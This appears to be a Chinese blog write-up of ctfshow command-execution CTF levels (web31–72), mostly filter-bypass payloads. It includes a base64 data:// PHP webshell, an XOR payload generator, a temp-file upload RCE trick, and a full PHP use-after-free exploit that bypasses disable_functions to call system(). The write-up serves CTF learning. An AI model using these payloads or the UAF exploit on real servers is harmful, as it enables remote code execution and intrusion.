ctfshow命令执行篇

web31

echo(`ls%09/`);
echo(`tac%09fla*`);

web32

在这里插入图片描述
过滤;

在这里插入图片描述

关键命令执行函数也不能用
用文件包含
其实这个做法也是靠刷题经验猜flag路径

c=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

靠比赛经验做真的没意思
其他方法也是可行的,不知道为啥在这不行
emmm

web33

在这里插入图片描述
因为过滤双引号,导致我们的参数不能为字符,传个数字即可
方法一:

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

方法二
不加个双引号不就得了

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

web34

在这里插入图片描述
这次过滤了冒号:
应该是出题人整错了,他输的是中文的冒号
所以也可以用上述同样的方法

web35

在这里插入图片描述
过滤=,<
应该是\转义字符的原因,=过滤失效了
一样的payload

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

web 36

在这里插入图片描述
不说了,上一关一样

web 37

在这里插入图片描述
这次是文件包含
过滤了flag
利用data协议写shell

?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbcGVuc29uXSk7Pz4=

在这里插入图片描述

web 38

在这里插入图片描述
上题一样

web 39

?c=data://text/plain;base64,<?php system('tac fl*');?>

web 40

无参数RCE

web41

在这里插入图片描述
取反和异或,$被过滤
也不能通过位运算
但是 | 运算符没有被过滤

参考文献

def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("异或.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               print(t)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   print(output)

while True:
   param=str(str(action(input("\n[+] your function:") )) + str(action(input("[+] your command:"))))
   data={
       'c':urllib.parse.unquote(param)
       }
   print(param)`在这里插入代码片`

web 42

在这里插入图片描述
有弹shell那味
但是不能用,后面的ip不能用,需要绕过,让后面的东西无效
利用命令执行那种拼接

; || 

tac fl* ;

官方wp是用 %0a绕过也就是换行

web 43

在这里插入图片描述

tac fla* ||

官方用 nl命令

web 44

在这里插入图片描述
这次用上一题的官方做法吧

tac fla*.php%0a

web 45

在这里插入图片描述
绕空格

tac${IFS}$9fla*.php${IFS}$9||

web 46

在这里插入图片描述

输入重定向,空字符拼接绕

c=tac<fla''g.php||


c={awk,’/f/’,fla???hp}||

web47

在这里插入图片描述
不变

?c=tac<fla''g.php||

web48

在这里插入图片描述
枯燥

?c=tac<fla''g.php||

web49

在这里插入图片描述

?c=tac<fla''g.php||

web 50

在这里插入图片描述
没意思,看看别人咋做的

?c=tac<fla''g.php||

?c=tac<>'fla'g.php||
查看文件的时候可以用这个

web 51

在这里插入图片描述
过滤tac
也是字符拼接绕

?c=t'a'c<>'fla'g.php||

web53

在这里插入图片描述
过滤了<
$没有过滤
flag位置变了

?c=t'a'c$IFS/fla''g||

web 54

if(!preg_match("/;|.*c.*a.t.|.*f.*l.*a.g.| |[0-9]|*|.*m.*o.*r.e.|.*w.*g.*e.t.|.*l.*e.*s.s.|.*h.*e.*a.d.|.*s.*o.*r.t.|.*t.*a.*i.l.|.*s.*e.d.|.*c.*u.t.|.*t.*a.c.|.*a.*w.k.|.*s.*t.*r.*i.*n.*g.s.|.*o.d.|.*c.*u.*r.l.|.*n.l.|.*s.*c.p.|.*r.m.|`|%|\x09|\x26|>|</i", $c))

有那味了

要学会利用linux 通配符
用grep命令

grep${IFS}f${IFS}fla?.php

web 55

在这里插入图片描述

无字母RCE
起初想着异或,但是是linux命令,.并不是拼接的命令而是运行bash脚本的命令
并且. 文件是不需要x权限的
膜一波大佬
p神的文章
首先构造上传POST数据包(copy人家的)
原文链接

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://76ce0edb-66ef-425a-832f-81a93fbca112.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

此时上传文件会保存一个临时文件在/tmp/phpxxxxxx

可以利用linux通配符来进行绕过
???但是这样会报错
在这里插入图片描述
这思路真的很清奇,p神我滴神
传入抓包
在这里插入图片描述
成功RCE

web56

在这里插入图片描述
没有过滤.同样的做法
在这里插入图片描述
查看flag有过滤,通配符绕就好
在这里插入图片描述

web 57

在这里插入图片描述
这次他过滤了.,flag在36.php 很明显要构造出36
get到一个新的知识点,这得对liunx命令有非常深入的了解
在这里插入图片描述
${_}的意思是返回上一个命令执行
在这里插入图片描述
$(()) 是0
在这里插入图片描述

$((~$(()))) 也就是~0 是-1
在这里插入图片描述

$(($((~$(())))$((~$(()))))) 也就是~(-1-1) 等于-2
因此往后面加n个$((~$(()))) 就是-n
在这里插入图片描述
而取反运算 ~-4 等于3
因此只需加37个$((~$(())))在进行取反
即可得到36

在这里插入图片描述

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web 58-65

这题就是为了出题而做,没意义

在这里插入图片描述

在这里插入图片描述
做了安全过滤
在这里插入图片描述
highlight_file()
show_source()

web 66

在这里插入图片描述
不知道flag位置
print_r(scandir(’/’));
列出目录
在这里插入图片描述

web 67

在这里插入图片描述
不能用了

c=var_dump(scandir('/'));

在这里插入图片描述

web 68-70

在这里插入图片描述
highlight_file也被禁用

用包含

c=include('php://filter/read=convert.base64-
encode/resource=/flag.txt')?>

web 71

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

后面的代码不允许内容出现
只需exit()

c=include("/flag.txt");exit();

web 72

在这里插入图片描述
flag位置不知道了
在这里插入图片描述
在这里插入图片描述

?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

简单的说就是用glob协议遍历根目录下的文件
在这里插入图片描述
可以发现flag的位置
在这里插入图片描述
include包含无用
exp

?><?php
pwn("cat /flag0.txt");
function pwn($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    function my_str_repeat($a,$b){
        $s = '';
        for($i = 0; $i <= $b;$i++){
            $s.=$a;
        }  
        return $s;
    }
    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(my_str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(my_str_repeat('A', 79));
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    ($helper->b)($cmd);
    exit();
}
exit();
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门之命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值